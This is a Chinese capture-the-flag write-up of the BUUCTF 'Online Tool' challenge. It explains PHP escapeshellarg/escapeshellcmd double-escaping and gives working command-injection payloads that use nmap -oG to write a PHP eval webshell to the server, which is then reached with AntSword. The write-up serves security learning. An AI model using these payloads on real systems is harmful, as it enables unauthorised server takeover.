[BUUCTF 2018]Online Tool
考察内容:
1.escapeshellarg()+escapeshellcmd();
2.nmap文件写入
3.命令行注入
大概浏览了一下,这道题应该是get传参然后命令行注入,然后剩下的函数都看不懂了。。。这就是做题做的太少了的后果吗。。。
remote_addr
表示发出请求的远程主机的 IP 地址,remote_addr代表客户端的IP,它的值是服务端根据客户端的ip指定的。如果你是直接访问的那么显示的就是你真实的ip,如果你开了代理,那么显示的就是代理ip。
x_forwarded_for
简称XFF头,它代表客户端,也就是HTTP的请求端真实的ip。(捕获真实ip)
escapeshellarg()
把字符串转码为可以在 shell 命令里使用的参数,将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。
escapeshellcmd()
shell 元字符转义,对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ’ 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
会将字符串中未被转义的双引号或单引号转义(成对存在闭合的双引号或单引号除外)
**escapeshellarg()+escapeshellcmd()**两次转义会出现一些问题,具体可参考此篇介绍
简单来说就是先用escapeshellarg()将参数中的 ’ 进行了转义变成了 ’ ,接着escapeshellcmd()在 \ 之前添加了 \ ,变成了\’,使得 \ 被解释为 \ ,而不是转义字符,后面的 ’ 没有被转义依旧可以当做单引号被使用。
之后就是可以看到有system来执行命令,看到里面的代码应该是要传入ip一类的参数,尝试输入ip+常用命令后注入符
都没有任何回显,参考了大佬博客
发现可以通过利用nmap -oG
参数
nmap -oG result.txt 将输出写成特殊格式 -oG可以将命令和结果写到文件
我们写一个一句话木马进行上传
?host=<?php @eval($_POST["shell"]);?> -oG shell.php
得到了所在位置,接下来我们连接蚁剑
url为:http://d3fe9175-46f2-4529-97e6-6a38412f7ecd.node4.buuoj.cn/1e4a1230fbc84d7f56a1ed4e4c476599/shell.php
但是我发现连不上,然后再次查阅了别人的博客
发现上传的一句话木马应该写成这样的形式
?host=’<?php @eval($_POST["shell"]);?> -oG shell.php’
需要加一个引号
之后就可以成功连接获得flag了。
ps:我发现有的wp的一句话木马是这样写的
’ <?php eval($_POST["a"]);?> -oG 1.php ’
说是1.php '
中间必须有一个空格,不然会导致文件名不对
但是我没有加空格,也能够正常连接。。。